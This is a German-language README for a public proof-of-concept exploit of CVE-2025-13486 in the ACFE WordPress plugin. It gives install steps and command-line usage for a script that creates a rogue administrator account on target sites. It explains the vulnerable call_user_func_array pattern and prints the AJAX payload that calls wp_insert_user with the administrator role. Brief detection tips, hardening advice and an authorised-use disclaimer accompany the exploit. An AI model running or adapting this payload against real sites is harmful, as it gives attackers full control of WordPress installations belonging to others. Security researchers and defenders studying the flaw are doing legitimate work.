
Advanced Custom Fields Extended (ACFE) WordPress Plugin Exploit RCE - Admin-Erstellung
Proof-of-concept-Exploit für CVE-2025-13486, eine kritische Schwachstelle im Advanced Custom Fields: Extended (ACFE) WordPress-Plugin, die Remote Code Execution ermöglicht, was zur Privilege Escalation führt.
| Aspekt | Details |
|---|
| CVE ID | CVE-2025-13486 |
| Plugin | Advanced Custom Fields: Extended (ACFE) |
| Typ | Remote Code Execution → Privilege Escalation |
| Risikostufe | Critical |
| Betroffene Versionen | ACFE anfällige Versionen (spezifische Versionen noch offen) |
| CVSS Score | 9.8 CRITICAL |
| Entdeckungsdatum | 2025 |
| Autor | 0xgh057r3c0n |
⚠️ WARNUNG: Dieses Tool ist NUR für autorisierte Sicherheitstests und Bildungszwecke bestimmt.
✅ Erlaubte Verwendung:
❌ Verbotene Verwendung:
Der Autor haftet nicht für jeglichen Missbrauch dieses Tools. Holen Sie immer eine ordnungsgemäße schriftliche Genehmigung ein, bevor Sie ein System testen.
print_r-Funktionwp_insert_userrequests Bibliothek# Clone repository
git clone https://github.com/0xgh057r3c0n/CVE-2025-13486.git
cd CVE-2025-13486
# Install dependencies
pip install requests
# Alternative: Install from requirements.txt
pip install -r requirements.txt
# Make script executable (Linux/Mac)
chmod +x exploit.py
Erstelle eine requirements.txt-Datei:
requests>=2.25.1
python3 exploit.py --url <TARGET_URL> [OPTIONS]
python3 exploit.py --url http://target.com --verify
python3 exploit.py --url https://target.com
python3 exploit.py --url https://target.com \
--user backup_admin \
--password "P@ssw0rd123!" \
--email [email protected]
python3 exploit.py --url target.com --verify
| Option | Beschreibung | Erforderlich | Standard |
|---|---|---|---|
-u, --url | Ziel-WordPress-URL | Ja | - |
--verify | Nur verifizieren, keine Ausnutzung | Nein | False |
--user | Benutzerdefinierter Benutzername für Admin | Nein | admin_XXXXX |
--password | Benutzerdefiniertes Passwort für Admin | Nein | Zufällig 12 Zeichen |
--email | Benutzerdefinierte E-Mail für Admin | Nein | [email protected] |
Der Exploit nutzt eine fehlerhafte Funktionsbehandlung im acfe/form/render_form_ajax-Endpunkt des ACFE-Plugins aus, was Angreifern erlaubt, beliebige PHP-Funktionen aufzurufen.
1. URL Validation → Auto-detects HTTP/HTTPS
2. Nonce Extraction → Scans page for ACF nonce
3. Payload Construction → Builds malicious AJAX request
4. Request Execution → Sends exploit to target
5. Result Analysis → Checks for success indicators
// Vulnerable code pattern in ACFE
$result = call_user_func_array($form['render'], array($form));
// Exploit payload structure
{
"action": "acfe/form/render_form_ajax",
"nonce": "extracted_nonce",
"form[render]": "wp_insert_user",
"form[user_login]": "attacker_user",
"form[user_pass]": "attacker_pass",
"form[user_email]": "[email protected]",
"form[role]": "administrator"
}
# Recommended security plugins
1. Wordfence Security
2. Sucuri Security
3. iThemes Security
4. All In One WP Security
# Server-level protections
- Implement rate limiting
- Enable mod_security rules
- Use Cloudflare or similar CDN
- Regular security audits
/wp-admin/admin-ajax.phpaction=acfe/form/render_form_ajaxwp_insert_user-Funktionsaufrufe via AJAX# Apache logs
grep "admin-ajax.php" /var/log/apache2/access.log | grep "acfe/form"
# WordPress debug logs
define('WP_DEBUG', true);
define('WP_DEBUG_LOG', true);
git checkout -b feature/improvement)git commit -am 'Add new feature')git push origin feature/improvement)Bitte melde Fehler und Probleme über:
CVE-2025-13486/
├── exploit.py # Main exploit script
├── README.md # This documentation
├── requirements.txt # Python dependencies
├── LICENSE # MIT License file
├── examples/ # Usage examples
│ ├── verification.txt
│ └── exploitation.txt
└── tests/ # Test scripts
├── test_verify.py
└── test_exploit.py
0xgh057r3c0n - Sicherheitsforscher
Dieses Projekt ist unter der MIT-Lizenz lizenziert – siehe die Datei LICENSE für Details.
Erstellt mit ❤️ für die Sicherheitscommunity
⚠️ Verantwortungsvoll und ethisch nutzen ⚠️